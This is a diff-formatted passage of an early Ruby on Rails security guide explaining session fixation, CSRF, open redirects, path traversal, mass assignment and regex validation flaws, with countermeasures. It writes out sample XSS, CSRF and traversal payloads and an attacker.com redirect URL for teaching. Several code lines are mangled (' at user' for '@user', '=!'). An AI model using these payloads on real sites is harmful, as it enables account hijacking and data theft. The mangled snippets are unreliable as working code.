+- Instead of stealing a cookie unknown to the attacker, he fixes a user's session identifier (in the cookie) known to him. Read more about this so-called session fixation later.
+
+The main objective of most attackers is to make money. The underground prices for stolen bank login accounts range from $10-$1000 (depending on the available amount of funds), $0.40-$20 for credit card numbers, $1-$8 for online auction site accounts and $4-$30 for email passwords, according to the http://eval.symantec.com/mktginfo/enterprise/white_papers/b-whitepaper_internet_security_threat_report_xiii_04-2008.en-us.pdf[Symantec Global Internet Security Threat Report].
+
+=== Session guidelines
+
+-- _Here are some general guidelines on sessions._
+
+- [,#fffcdb]#Do not store large objects in a session#. Instead you should store them in the database and save their id in the session. This will eliminate synchronization headaches and it won't fill up your session storage space (depending on what session storage you chose, see below).
+This will also be a good idea, if you modify the structure of an object and old versions of it are still in some user's cookies. With server-side session storages you can clear out the sessions, but with client-side storages, this is hard to mitigate.
+
+- [,#fffcdb]#Critical data should not be stored in session#. If the user clears his cookies or closes the browser, they will be lost. And with a client-side session storage, the user can read the data.
+
+
+=== Session storage
+
+-- _Rails provides several storage mechanisms for the session hashes. The most important are ActiveRecordStore and CookieStore._
+
+There are a number of session storages, i.e. where Rails saves the session hash and session id. Most real-live applications choose ActiveRecordStore (or one of its derivatives) over file storage due to performance and maintenance reasons. ActiveRecordStore keeps the session id and hash in a database table and saves and retrieves the hash on every request.
+
+Rails 2 introduced a new default session storage, CookieStore. CookieStore saves the session hash directly in a cookie on the client-side. The server retrieves the session hash from the cookie and eliminates the need for a session id. That will greatly increase the speed of the application, but it is a controversial storage option and you have to think about the security implications of it:
+
+- Cookies imply a strict size limit of 4K. This is fine as you should not store large amounts of data in a session anyway, as described before. [,#fffcdb]#Storing the current user's database id in a session is usually ok#.
+
+- The client can see everything you store in a session, because it is stored in clear-text (actually Base64-encoded, so not encrypted). So, of course, [,#fffcdb]#you don't want to store any secrets here#. To prevent session hash tampering, a digest is calculated from the session with a server-side secret and inserted into the end of the cookie.
+
+That means the security of this storage depends on this secret (and of the digest algorithm, which defaults to SHA512, which has not been compromised, yet). So [,#fffcdb]#don't use a trivial secret, i.e. a word from a dictionary, or one which is shorter than 30 characters#. Put the secret in your environment.rb:
+
+....................................
+config.action_controller.session = {
+  :session_key => ‘_app_session’,
+  :secret      => ‘0x0dkfj3927dkc7djdh36rkckdfzsg...’
+}
+....................................
+
+There are, however, derivatives of CookieStore which encrypt the session hash, so the client cannot see it.
+
+=== Replay attacks for CookieStore sessions
+
+-- _Another sort of attack you have to be aware of when using CookieStore is the replay attack._
+
+It works like this:
+
+- A user receives credits, the amount is stored in a session (which is bad idea, anyway, but we'll do this for demonstration purposes).
+- The user buys something.
+- His new, lower credit will be stored in the session.
+- The dark side of the user forces him to take the cookie from the first step (which he copied) and replace the current cookie in the browser.
+- The user has his credit back.
+
+Including a nonce (a random value) in the session solves replay attacks. A nonce is valid only once, and the server has to keep track of all the valid nonces. It gets even more complicated if you have several application servers (mongrels). Storing nonces in a database table would defeat the entire purpose of CookieStore (avoiding accessing the database).
+
+The best [,#fffcdb]#solution against it is not to store this kind of data in a session, but in the database#. In this case store the credit in the database and the logged_in_user_id in the session.
+
+=== Session fixation
+
+-- _Apart from stealing a user's session id, the attacker may fix a session id known to him. This is called session fixation._
+
+image::images/session_fixation.png[Session fixation]
+
+This attack focuses on fixing a user's session id known to the attacker, and forcing the user's browser into using this id. It is therefore not necessary for the attacker to steal the session id afterwards. Here is how this attack works:
+
+. The attacker creates a valid session id: He loads the login page of the web application where he wants to fix the session, and takes the session id in the cookie from the response (see number 1 and 2 in the image).
+
+. He possibly maintains the session. Expiring sessions, for example every 20 minutes, greatly reduces the time-frame for attack. Therefore he accesses the web application from time to time in order to keep the session alive.
+
+. Now the attacker will force the user's browser into using this session id (see number 3 in the image). As you may not change a cookie of another domain (because of the same origin policy), the attacker has to run a JavaScript from the domain of the target web application. Injecting the JavaScript code into the application by XSS accomplishes this attack. Here is an example: +<script>
document.cookie="_session_id=16d5b78abb28e3d6206b60f22a03c8d9";
</script>+
+Read more about XSS and injection later on.
+
+. The attacker lures the victim to the infected page with the JavaScript code. By viewing the page, the victim's browser will change the session id to the trap session id.
+
+. As the new trap session is unused, the web application will require the user to authenticate.
+
+. From now on, the victim and the attacker will co-use the web application with the same session: The session became valid and the victim didn't notice the attack.
+
+=== Session fixation – Countermeasures
+
+-- _One line of code will protect you from session fixation._
+
+The most effective countermeasure is to [,#fffcdb]#issue a new session identifier# and declare the old one invalid after a successful login. That way, an attacker cannot use the fixed session identifier. This is a good countermeasure against session hijacking, as well. Here is how to create a new session in Rails:
+
+[source, ruby]
+----------------------------------------------------------------------------
+reset_session
+----------------------------------------------------------------------------
+
+If you use the popular RestfulAuthentication plugin for user management, add reset_session to the SessionsController#create action. Note that this removes any value from the session, [,#fffcdb]#you have to transfer them to the new session#.
+
+Another countermeasure is to [,#fffcdb]#save user-specific properties in the session#, verify them every time a request comes in, and deny access, if the information does not match. Such properties could be the remote IP address or the user agent (the web browser name), though the latter is less user-specific. When saving the IP address, you have to bear in mind that there are Internet service providers or large organizations that put their users behind proxies. [,#fffcdb]#These might change over the course of a session#, so these users  will not be able to use your application, or only in a limited way.
+
+=== Session expiry
+
+-- _Sessions that never expire extend the time-frame for attacks such as cross-site reference forgery (CSRF), session hijacking and session fixation._
+
+One possibility is to set the expiry time-stamp of the cookie with the session id. However the client can edit cookies that are stored in the web browser so expiring sessions on the server is safer. Here is an example of how to [,#fffcdb]#expire sessions in a database table#. Call Session.sweep("20m") to expire sessions that were used longer than 20 minutes ago.
+
+[source, ruby]
+----------------------------------------------------------------------------
+class Session < ActiveRecord::Base
+ def self.sweep(time_ago = nil)
+
    time = case time_ago
+
      when /^(\d+)m$/ then Time.now - $1.to_i.minute
+
      when /^(\d+)h$/ then Time.now - $1.to_i.hour
+
      when /^(\d+)d$/ then Time.now - $1.to_i.day
+
      else Time.now - 1.hour
+
    end
+
    self.delete_all "updated_at < '#{time.to_s(:db)}'"
+
  end
+
end
+----------------------------------------------------------------------------
+
+The section about session fixation introduced the problem of maintained sessions. An attacker maintaining a session every five minutes can keep the session alive forever, although you are expiring sessions. A simple solution for this would be to add a created_at column to the sessions table. Now you can delete sessions that were created a long time ago. Use this line in the sweep method above:
+
+[source, ruby]
+----------------------------------------------------------------------------
+self.delete_all "updated_at < '#{time.to_s(:db)}' OR created_at < '#{2.days.ago.to_s(:db)}'"
+----------------------------------------------------------------------------
+
+== Cross-Site Reference Forgery (CSRF)
+-- _This attack method works by including malicious code or a link in a page that accesses a web application that the user is believed to have authenticated. If the session for that web application has not timed out, an attacker may execute unauthorized commands._
+
+image::images/csrf.png[CSRF]
+
+In the session chapter you have learned that most Rails applications use cookie-based sessions. Either they store the session id in the cookie and have a server-side session hash, or the entire session hash is on the client-side. In either case the browser will automatically send along the cookie on every request to a domain, if it can find a cookie for that domain. The controversial point is, that it will also send the cookie, if the request comes from a site of a different domain. Let's start with an example:
+
+- Bob browses a message board and views a post from a hacker where there is a crafted HTML image element. The element references a command in Bob's project management application, rather than an image file.
+- +<img src="http://www.webapp.com/project/1/destroy">+
+- Bob's session at www.webapp.com is still alive, because he didn't log out a few minutes ago.
+- By viewing the post, the browser finds an image tag. It tries to load the suspected image from www.webapp.com. As explained before, it will also send along the cookie with the valid session id.
+- The web application at www.webapp.com verifies the user information in the corresponding session hash and destroys the project with the ID 1. It then returns a result page which is an unexpected result for the browser, so it will not display the image.
+- Bob doesn't notice the attack -- but a few days later he finds out that project number one is gone.
+
+It is important to notice that the actual crafted image or link doesn't necessarily have to be situated in the web application's domain, it can be anywhere – in a forum, blog post or email.
+
+CSRF appears very rarely in CVE (Common Vulnerabilities and Exposures) -- less than 0.1% in 2006 -- but it really is a 'sleeping giant' [Grossman]. This is in stark contrast to the results in my (and others) security contract work – [,#fffcdb]#CSRF is an important security issue#.
+
+=== CSRF Countermeasures
+
+-- _First, as is required by the W3C, use GET and POST appropriately. Secondly, a security token in non-GET requests will protect your application from CSRF._
+
+The HTTP protocol basically provides two main types of requests - GET and POST (and more, but they are not supported by most browsers). The World Wide Web Consortium (W3C) provides a checklist for choosing HTTP GET or POST:
+
+*Use GET if:*
+
+- The interaction is more [,#fffcdb]#like a question# (i.e., it is a safe operation such as a query, read operation, or lookup).
+
+*Use POST if:*
+
+- The interaction is more [,#fffcdb]#like an order#, or
+- The interaction [,#fffcdb]#changes the state# of the resource in a way that the user would perceive (e.g., a subscription to a service), or
+- The user is [,#fffcdb]#held accountable for the results# of the interaction.
+
+If your web application is RESTful, you might be used to additional HTTP verbs, such as PUT or DELETE. Most of today‘s web browsers, however do not support them - only GET and POST. Rails uses a hidden +_method+ field to handle this barrier.
+
+[,#fffcdb]#The verify method in a controller can make sure that specific actions may not be used over GET#. Here is an example to verify the use of the transfer action over POST. If the action comes in using any other verb, it redirects to the list action.
+
+.................................................................................
+verify :method => :post, :only => [:transfer], :redirect_to => {:action => :list}
+.................................................................................
+
+With this precaution, the attack from above will not work, because the browser sends a GET request for images, which will not be accepted by the web application.
+
+But this was only the first step, because [,#fffcdb]#POST requests can be send automatically, too#. Here is an example for a link which displays www.harmless.com as destination in the browser's status bar. In fact it dynamically creates a new form that sends a POST request.
+
+[source, html]
+----------------------------------------------------------------------------
+<a href="http://www.harmless.com/" onclick="
+  var f = document.createElement('form');
+  f.style.display = 'none';
+  this.parentNode.appendChild(f);
+  f.method = 'POST';
+  f.action = 'http://www.example.com/account/destroy';
+  f.submit();
+  return false;">To the harmless survey</a>
+----------------------------------------------------------------------------
+
+Or the attacker places the code into the onmouseover event handler of an image:
+
++<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />+
+
+There are many other possibilities, including Ajax to attack the victim in the background.
The  [,#fffcdb]#solution to this is including a security token in non-GET requests# which check on the server-side. In Rails 2 or higher, this is a one-liner in the application controller:
+
++protect_from_forgery :secret => "123456789012345678901234567890..."+
+
+This will automatically include a security token, calculated from the current session and the server-side secret, in all forms and Ajax requests generated by Rails. You won't need the secret, if you use CookieStorage as session storage. It will raise an ActionController::InvalidAuthenticityToken error, if the security token doesn't match what was expected.
+
+Note that [,#fffcdb]#cross-site scripting (XSS) vulnerabilities bypass all CSRF protections#. XSS gives the attacker access to all elements on a page, so he can read the CSRF security token from a form or directly submit the form. Read more about XSS later.
+
+== Redirection and Files
+
+Another class of security vulnerabilities surrounds the use of redirection and files in web applications.
+
+=== Redirection
+
+-- _Redirection in a web application is an underestimated cracker tool: Not only can the attacker forward the user to a trap web site, he may also create a self-contained attack._
+
+Whenever the user is allowed to pass (parts of) the URL for redirection, it is possibly vulnerable. The most obvious attack would be to redirect users to a fake web application which looks and feels exactly as the original one. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. It is unsuspicious, because the link starts with the URL to the web application and the URL to the malicious site is hidden in the redirection parameter: http://www.example.com/site/redirect?to= www.attacker.com. Here is an example of a legacy action:
+
+[source, ruby]
+----------------------------------------------------------------------------
+def legacy
+  redirect_to(params.update(:action=>'main'))
+end
+----------------------------------------------------------------------------
+
+This will redirect the user to the main action if he tried to access a legacy action. The intention was to preserve the URL parameters to the legacy action and pass them to the main action. However, it can exploited by an attacker if he includes a host key in the URL:
+
++http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com+
+
+If it is at the end of the URL it will hardly be noticed and redirects the user to the attacker.com host. A simple countermeasure would be to [,#fffcdb]#include only the expected parameters in a legacy action# (again a whitelist approach, as opposed to removing unexpected parameters). [,#fffcdb]#And if you redirect to an URL, check it with a whitelist or a regular expression#.
+
+==== Self-contained XSS
+
+Another redirection and self-contained XSS attack works in Firefox and Opera by the use of the data protocol. This protocol displays its contents directly in the browser and can be anything from HTML or JavaScript to entire images:
+
++data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K+
+
+This example is a Base64 encoded JavaScript which displays a simple message box. In a redirection URL, an attacker could redirect to this URL with the malicious code in it. As a countermeasure, [,#fffcdb]#do not allow the user to supply (parts of) the URL to be redirected to#.
+
+=== File uploads
+
+-- _Make sure file uploads don't overwrite important files, and process media files asynchronously._
+
+Many web applications allow users to upload files. [,#fffcdb]#File names, which the user may choose (partly), should always be filtered# as an attacker could use a malicious file name to overwrite any file on the server. If you store file uploads at /var/www/uploads, and the user enters a file name like “../../../etc/passwd”, it may overwrite an important file. Of course, the Ruby interpreter would need the appropriate permissions to do so – one more reason to run web servers, database servers and other programs as a less privileged Unix user.
+
+When filtering user input file names, [,#fffcdb]#don't try to remove malicious parts#. Think of a situation where the web application removes all “../” in a file name and an attacker uses a string such as “....//” - the result will be “../”. It is best to use a whitelist approach, which [,#fffcdb]#checks for the validity of a file name with a set of accepted characters#. This is opposed to a blacklist approach which attempts to remove not allowed characters. In case it isn't a valid file name, reject it (or replace not accepted characters), but don't remove them. Here is the file name sanitizer from the http://github.com/technoweenie/attachment_fu/tree/master[attachment_fu plugin]:
+
+[source, ruby]
+----------------------------------------------------------------------------
+def sanitize_filename(filename)
+  returning filename.strip do |name|
+    # NOTE: File.basename doesn't work right with Windows paths on Unix
+    # get only the filename, not the whole path
+    name.gsub! /^.*(\\|\/)/, ''
+    # Finally, replace all non alphanumeric, underscore
+    # or periods with underscore
+    name.gsub! /[^\w\.\-]/, '_'
+  end
+end
+----------------------------------------------------------------------------
+
+A significant disadvantage of synchronous processing of file uploads (as the attachment_fu plugin may do with images), is its [,#fffcdb]#vulnerability to denial-of-service attacks#. An attacker can synchronously start image file uploads from many computers which increases the server load and may eventually crash or stall the server.
+
+The solution to this, is best to [,#fffcdb]#process media files asynchronously#: Save the media file and schedule a processing request in the database. A second process will handle the processing of the file in the background.
+
+=== Executable code in file uploads
+
+-- _Source code in uploaded files may be executed when placed in specific directories. Do not place file uploads in Rails /public directory if it is Apache's home directory._
+
+The popular Apache web server has an option called DocumentRoot. This is the home directory of the web site, everything in this directory tree will be served by the web server. If there are files with a certain file name extension, the code in it will be executed when requested (might require some options to be set). Examples for this are PHP and CGI files. Now think of a situation where an attacker uploads a file “file.cgi” with code in it, which will be executed when someone downloads the file.
+
+[,#fffcdb]#If your Apache DocumentRoot points to Rails' /public directory, do not put file uploads in it#, store files at least one level downwards.
+
+=== File downloads
+
+-- _Make sure users cannot download arbitrary files._
+
+Just as you have to filter file names for uploads, you have to do so for downloads. The send_file() method sends files from the server to the client. If you use a file name, that the user entered, without filtering, any file can be downloaded:
+
+[source, ruby]
+----------------------------------------------------------------------------
+send_file('/var/www/uploads/' + params[:filename])
+----------------------------------------------------------------------------
+
+Simply pass a file name like “../../../etc/passwd” to download the server's login information. A simple solution against this, is to [,#fffcdb]#check that the requested file is in the expected directory#:
+
+[source, ruby]
+----------------------------------------------------------------------------
+basename = File.expand_path(File.join(File.dirname(__FILE__), '../../files'))
+filename = File.expand_path(File.join(basename, @file.public_filename))
+raise if basename =!
+     File.expand_path(File.join(File.dirname(filename), '../../../'))
+send_file filename, :disposition => 'inline'
+----------------------------------------------------------------------------
+
+Another (additional) approach is to store the file names in the database and name the files on the disk after the ids in the database. This is also a good approach to avoid possible code in an uploaded file to be executed. The attachment_fu plugin does this in a similar way.
+
+== Intranet and Admin security
+
+-- _Intranet and administration interfaces are popular attack targets, because they allow privileged access. Although this would require several extra-security measures, the opposite is the case in the real world._
+
+In 2007 there was the first tailor-made http://www.symantec.com/enterprise/security_response/weblog/2007/08/a_monster_trojan.html[Trojan] which stole information from an Intranet, namely the "Monster for employers" web site of Monster.com, an online recruitment web application. Tailor-made Trojans are very rare, so far, and the risk is quite low, but it is certainly a possibility and an example of how the security of the client host is important, too. However, the highest threat to Intranet and Admin applications are XSS and CSRF.

+
+*XSS*  If your application re-displays malicious user input from the extranet, the application will be vulnerable to XSS. User names, comments, spam reports, order addresses are just a few uncommon examples, where there can be XSS.
+
+Having one single place in the admin interface or Intranet where the input has not been sanitized, makes the entire application vulnerable. Possible exploits include stealing the privileged administrator's cookie, injecting an iframe to steal the administrator's password or installing malicious software through browser security holes to take over the administrator's computer.
+
+Refer to the Injection section for countermeasures against XSS. It is [,#fffcdb]#recommended to use the SafeErb plugin# also in an Intranet or administration interface.
+
+*CSRF*  Cross-Site Reference Forgery (CSRF) is a giant attack method, it allows the attacker to do everything the administrator or Intranet user may do. As you have already seen above how CSRF works, here are a few examples of what attackers can do in the Intranet or admin interface.
+
+A real-world example is a http://www.symantec.com/enterprise/security_response/weblog/2008/01/driveby_pharming_in_the_
wild.html[router reconfiguration by CSRF]. The attackers sent a malicious e-mail, with CSRF in it, to Mexican users. The e-mail claimed there was an e-card waiting for them, but it also contained an image tag that resulted in a HTTP-GET request to reconfigure the user's router (which is a popular model in Mexico). The request changed the DNS-settings so that requests to a Mexico-based banking site would be mapped to the attacker's site. Everyone who accessed the banking site through that router saw the attacker's fake web site and had his credentials stolen.
+
+Another example changed Google Adsense's e-mail address and password by http://www.0x000000.com/index.php?i=213&bin=11010101[CSRF]. If the victim was logged into Google Adsense, the administration interface for Google advertisements campaigns, an attacker could change his credentials.

+
+Another popular attack is to spam your web application, your blog or forum to propagate malicious XSS. Of course, the attacker has to know the URL structure, but most Rails URLs are quite straightforward or they will be easy to find out, if it is an open-source application's admin interface. The attacker may even do 1,000 lucky guesses by just including malicious IMG-tags which try every possible combination.
+
+For [,#fffcdb]#countermeasures against CSRF in administration interfaces and Intranet applications, refer to the countermeasures in the CSRF section#.
+
+=== Additional precautions
+
+The common admin interface works like this: it's located at www.example.com/admin, may be accessed only if the admin flag is set in the User model, re-displays user input and allows the admin to delete/add/edit whatever data desired. Here are some thoughts about this:
+
+- It is very important to [,#fffcdb]#think about the worst case#: What if someone really got hold of my cookie or user credentials. You could [,#fffcdb]#introduce roles# for the admin interface to limit the possibilities of the attacker. Or how about [,#fffcdb]#special login credentials# for the admin interface, other than the ones used for the public part of the application. Or a [,#fffcdb]#special password for very serious actions#?
+
+- Does the admin really have to access the interface from everywhere in the world? Think about [,#fffcdb]#limiting the login to a bunch of source IP addresses#. Examine request.remote_ip to find out about the user's IP address. This is not bullet-proof, but a great barrier. Remember that there might be a proxy in use, though.
+
+- [,#fffcdb]#Put the admin interface to a special sub-domain# such as admin.application.com and make it a separate application with its own user management. This makes stealing an admin cookie from the usual domain, www.application.com, impossible. This is because of the same origin policy in your browser: An injected (XSS) script on www.application.com may not read the cookie for admin.application.com and vice-versa.
+
+== Mass assignment
+
+-- _Without any precautions Model.new(params[:model]) allows attackers to set any database column's value._
+
+The mass-assignment feature may become a problem, as it allows an attacker to set any model's attribute by manipulating the hash passed to a model's new() method:
+
+[source, ruby]
+----------------------------------------------------------------------------
+def signup
+  params[:user] #=> {:name => “ow3ned”, :admin => true}
+  @user = User.new(params[:user])
+end
+----------------------------------------------------------------------------
+
+Mass-assignment saves you much work, because you don't have to set each value individually. Simply pass a hash to the new() method, or assign attributes=(attributes) a hash value, to set the model's attributes to the values in the hash. The problem is that it is often used in conjunction with the parameters (params) hash available in the controller, which may be manipulated by an attacker. He may do so by changing the URL like this:
+
+..........
+http://www.example.com/user/signup?user[name]=ow3ned&user[admin]=1
+..........
+
+This will set the following parameters in the controller:
+
+[source, ruby]
+----------------------------------------------------------------------------
+params[:user] #=> {:name => “ow3ned”, :admin => true}
+----------------------------------------------------------------------------
+
+So if you create a new user using mass-assignment, it may be too easy to become an administrator.
+
+=== Countermeasures
+
+To avoid this, Rails provides two class methods in your ActiveRecord class to control access to your attributes. The attr_protected method takes a list of attributes that will not be accessible for mass-assignment. For example:
+
+[source, ruby]
+----------------------------------------------------------------------------
+attr_protected :admin
+----------------------------------------------------------------------------
+
+A much better way, because it follows the whitelist-principle, is the [,#fffcdb]#attr_accessible method#. It is the exact opposite of attr_protected, because [,#fffcdb]#it takes a list of attributes that will be accessible#. All other attributes will be protected. This way you won't forget to protect attributes when adding new ones in the course of development. Here is an example:
+
+[source, ruby]
+----------------------------------------------------------------------------
+attr_accessible :name
+----------------------------------------------------------------------------
+
+If you want to set a protected attribute, you will to have to assign it individually:
+
+[source, ruby]
+----------------------------------------------------------------------------
+params[:user] #=> {:name => "ow3ned", :admin => true}
+ at user = User.new(params[:user])
+ at user.admin #=> false # not mass-assigned
+ at user.admin = true
+ at user.admin #=> true
+----------------------------------------------------------------------------
+
+== User management
+
+-- _Almost every web application has to deal with authorization and authentication. Instead of rolling your own, it is advisable to use common plug-ins. But keep them up-to-date, too. A few additional precautions can make your application even more secure._
+
+There are some authorization and authentication plug-ins for Rails available. A good one saves only encrypted passwords, not plain-text passwords. The most popular plug-in is [,#fffcdb]#restful_authentication# which protects from session fixation, too. However, earlier versions allowed you to login without user name and password in certain circumstances.
+
+Every new user gets an activation code to activate his account when he gets an e-mail with a link in it. After activating the account, the activation_code columns will be set to NULL in the database. If someone requested an URL like these, he would be logged in as the first activated user found in the database (and chances are that this is the administrator):
+
+..........
+http://localhost:3006/user/activate
+http://localhost:3006/user/activate?id=
+..........
+
+This is possible because on some servers, this way the parameter id, as in params[:id], would be nil. However, here is the finder from the activation action:
+
+[source, ruby]
+----------------------------------------------------------------------------
+User.find_by_activation_code(params[:id])
+----------------------------------------------------------------------------
+
+If the parameter was nil, the resulting SQL query will be
+
+..........
+SELECT * FROM users WHERE (users.`activation_code` IS NULL) LIMIT 1
+..........
+
+And thus it found the first user in the database, returned it and logged him in. You can find out more about it in http://www.rorsecurity.info/2007/10/28/restful_authentication-login-security/[my blog post]. [,#fffcdb]#It is advisable to update your plug-ins from time to time#. Moreover, you can review your application to find more flaws like this.
+
+=== Brute-forcing accounts
+
+-- _Brute-force attacks on accounts are trial and error attacks on the login credentials. Fend them off with more generic error messages and possibly require to enter a CAPTCHA._
+
+A list of user names for your web application may be misused to brute-force the corresponding passwords, because most people don't use sophisticated passwords. Most passwords are a combination of dictionary words and possibly numbers. So armed with a list of user name's and a dictionary, an automatic program may find the correct password in a matter of minutes.
+
+Because of this, most web applications will display a generic error message “user name or password not correct”, if one of these are not correct. If it said “the user name you entered has not been found”, an attacker could automatically compile a list of user names.
+
+However, what most web application designers neglect, are the forgot-password pages. These pages often admit that the entered user name or e-mail address has (not) been found. This allows an attacker to compile a list of user names and brute-force the accounts.
+
+In order to mitigate such attacks, [,#fffcdb]#display a generic error message on forgot-password pages, too#. Moreover, you can [,#fffcdb]#require to enter a CAPTCHA after a number of failed logins from a certain IP address#. Note, however, that this is not a bullet-proof solution against automatic programs, because these programs may change their IP address exactly as often. However, it raises the barrier of an attack.
+
+=== Account hijacking
+
+-- _Many web applications make it easy to hijack user accounts. Why not be different and make it more difficult?_
+
+==== Passwords
+
+Think of a situation where an attacker has stolen a user's session cookie and thus may co-use the application. If it is easy to change the password, the attacker will hijack the account with a few clicks. Or if the change-password form is vulnerable to CSRF, the attacker will be able to change the victim's password by luring him to a web page where there is a crafted IMG-tag which does the CSRF. As a countermeasure, [,#fffcdb]#make change-password forms safe against CSRF#, of course. And [,#fffcdb]#require the user to enter the old password when changing it#.
+
+==== E-Mail
+
+However, the attacker may also take over the account by changing the e-mail address. After he changed it, he will go to the forgotten-password page and the (possibly new) password will be mailed to the attacker's e-mail address. As a countermeasure [,#fffcdb]#require the user to enter the password when changing the e-mail address, too#.
+
+==== Other
+
+Depending on your web application, there may be more ways to hijack the user's account. In many cases CSRF and XSS will help to do so. For example, as in a CSRF vulnerability in http://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/[Google Mail]. In this proof-of-concept attack, the victim would have been lured to a web site controlled by the attacker. On that site is a crafted IMG-tag which results in a HTTP GET request that changes the filter settings of Google Mail. If the victim was logged in to Google Mail, the attacker would change the filters to forward all e-mails to his e-mail address. This is nearly as harmful as hijacking the entire account. As a countermeasure, [,#fffcdb]#review your application logic and eliminate all XSS and CSRF vulnerabilities#.
+
+=== CAPTCHAs
+
+-- _A CAPTCHA is a challenge-response test to determine that the response is not generated by a computer. It is often used to protect comment forms from automatic spam bots by asking the user to type the letters of a distorted image. The idea of a negative CAPTCHA is not to ask a user to proof that he is human, but reveal that a robot is a robot._
+
+But not only spam robots (bots) are a problem, but also automatic login bots. A popular CAPTCHA API is http://recaptcha.net/[reCAPTCHA] which displays two distorted images of words from old books. It also adds an angled line, rather than a distorted background and high levels of warping on the text as earlier CAPTCHAs did, because the latter were broken. As a bonus, using reCAPTCHA helps to digitize old books. http://ambethia.com/recaptcha/[ReCAPTCHA] is also a Rails plug-in with the same name as the API.
+
+You will get two keys from the API, a public and a private key, which you have to put into your Rails environment. After that you can use the recaptcha_tags method in the view, and the verify_recaptcha method in the controller. Verify_recaptcha will return false if the validation fails.
+The problem with CAPTCHAs is, they are annoying. Additionally, some visually impaired users have found certain kinds of distorted CAPTCHAs difficult to read. The idea of negative CAPTCHAs is not to ask a user to proof that he is human, but reveal that a spam robot is a bot.
+
+Most bots are really dumb, they crawl the web and put their spam into every form's field they can find. Negative CAPTCHAs take advantage of that and include a "honeypot" field in the form which will be hidden from the human user by CSS or JavaScript.
+
+Here are some ideas how to hide honeypot fields by JavaScript and/or CSS:
+
+- position the fields off of the visible area of the page
+- make the elements very small or colour them the same as the background of the page
+- leave the fields displayed, but tell humans to leave them blank
+
+The most simple negative CAPTCHA is one hidden honeypot field. On the server side, you will check the value of the field: If it contains any text, it must be a bot. Then, you can either ignore the post or return a positive result, but not saving the post to the database. This way the bot will be satisfied and moves on. You can do this with annoying users, too.
+
+You can find more sophisticated negative CAPTCHAs in Ned Batchelder's http://nedbatchelder.com/text/stopbots.html[blog post]:
+
+- Include a field with the current UTC time-stamp in it and check it on the server. If it is too far in the past, or if it is in the future, the form is invalid.
+- Randomize the field names
+- Include more than one honeypot field of all types, including submission buttons
+
+Note that this protects you only from automatic bots, targeted tailor-made bots cannot be stopped by this. So negative CAPTCHAs might not be good to protect login forms.
+
+=== Logging
+
+-- _Tell Rails not to put passwords in the log files._
+
+By default, Rails logs all requests being made to the web application. But log files can be a huge security issue, as they may contain login credentials, credit card numbers etcetera. When designing a web application security concept, you should also think about what will happen if an attacker got (full) access to the web server. Encrypting secrets and passwords in the database will be quite useless, if the log files list them in clear text. You can [,#fffcdb]#filter certain request parameters from your log files# by the filter_parameter_logging method in a controller. These parameters will be marked [FILTERED] in the log.
+
+[source, ruby]
+----------------------------------------------------------------------------
+filter_parameter_logging :password
+----------------------------------------------------------------------------
+
+=== Good passwords
+
+-- _Do you find it hard to remember all your passwords? Don't write them down, but use the initial letters of each word in an easy to remember sentence._
+
+Bruce Schneier, a security technologist, http://www.schneier.com/blog/archives/2006/12/realworld_passw.html[has analysed] 34,000 real-world user names and passwords from the MySpace phishing attack mentioned earlier. It turns out that most of the passwords are quite easy to crack. The 20 most common passwords are:
+
+password1, abc123, myspace1, password, blink182, qwerty1, ****you, 123abc, baseball1, football1, 123456, soccer, monkey1, liverpool1, princess1, jordan23, slipknot1, superman1, iloveyou1 and monkey.
+
+It is interesting that only 4% of these passwords were dictionary words and the great majority is actually alphanumeric. However, password cracker dictionaries contain a large number of today's passwords, and they try out all kinds of (alphanumerical) combinations. If an attacker knows your user name and you use a weak password, your account will be easily cracked.
+
+A good password is a long alphanumeric combination of mixed cases. As this is quite hard to remember, it is advisable to enter only the [,#fffcdb]#first letters of a sentence that you can easily remember#. For example "The quick brown fox jumps over the lazy dog" will be "Tqbfjotld". Note that this is just an example, you should not use well known phrases like these, as they might appear in cracker dictionaries, too.
+
+=== Regular expressions
+
+-- _A common pitfall in Ruby's regular expressions is to match the string's beginning and end by ^ and $, instead of \A and \z._
+
+Ruby uses a slightly different approach than many other languages to match the end and the beginning of a string. That is why even many Ruby and Rails books make this wrong. So how is this a security threat? Imagine you have a File model and you validate the file name by a regular expression like this:
+
+[source, ruby]
+----------------------------------------------------------------------------
+class File < ActiveRecord::Base
+  validates_format_of :name, :with => /^[\w\.\-\+]+$/
+end
+----------------------------------------------------------------------------
+
+This means, upon saving, the model will validate the file name to consist only of alphanumeric characters, dots, + and -. And the programmer added \^ and $ so that file name will contain these characters from the beginning to the end of the string. However, [,#fffcdb]#in Ruby ^ and $ matches the *line* beginning and line end#. And thus a file name like this passes the filter without problems:
+
+..........
+file.txt%0A<script>alert('hello')</script>
+..........
+
+Whereas %0A is a line feed in URL encoding, so Rails automatically converts it to "file.txt\n<script>alert('hello')</script>". This file name passes the filter because the regular expression matches – up to the line end, the rest does not matter. The correct expression should read:
+
+[source, ruby]
+----------------------------------------------------------------------------
+/\A[\w\.\-\+]+\z/
+[source, ruby]
+----------------------------------------------------------------------------
+
+=== Privilege escalation
+
+-- _Changing a single parameter may give the user unauthorized access. Remember that every parameter may be changed, no matter how much you hide or obfuscate it._
+
+The most common parameter that a user might tamper with, is the id parameter, as in +http://www.domain.com/project/1+, whereas 1 is the id. It will be available in params[:id] in the controller. There, you will most likely do something like this:
+
+[source, ruby]
+----------------------------------------------------------------------------
+ at project = Project.find(params[:id])
+----------------------------------------------------------------------------
+
+This is alright for some web applications, but certainly not if the user is not authorized to view all projects. If the user changes the id to 42, and he is not allowed to see that information, he will have access to it anyway. Instead, [,#fffcdb]#query the user's access rights, too#:
+
+[source, ruby]
+----------------------------------------------------------------------------
+ at project = @current_user.projects.find(params[:id])
+----------------------------------------------------------------------------
+
+Depending on your web application, there will be many more parameters the user can tamper with. As a rule of thumb, [,#fffcdb]#no user input data is secure, until proven otherwise, and every parameter from the user is potentially manipulated#.
+
+Don‘t be fooled by security by obfuscation and JavaScript security. The Web Developer Toolbar for Mozilla Firefox lets you review and change every form's hidden fields. [,#fffcdb]#JavaScript can be used to validate user input data, but certainly not to prevent attackers from sending malicious requests with unexpected values#. The Live Http Headers plugin for Mozilla Firefox logs every request and may repeat and change them. That is an easy way to bypass any JavaScript validations. And there are even client-side proxies that allow you to intercept any request and response from and to the Internet.
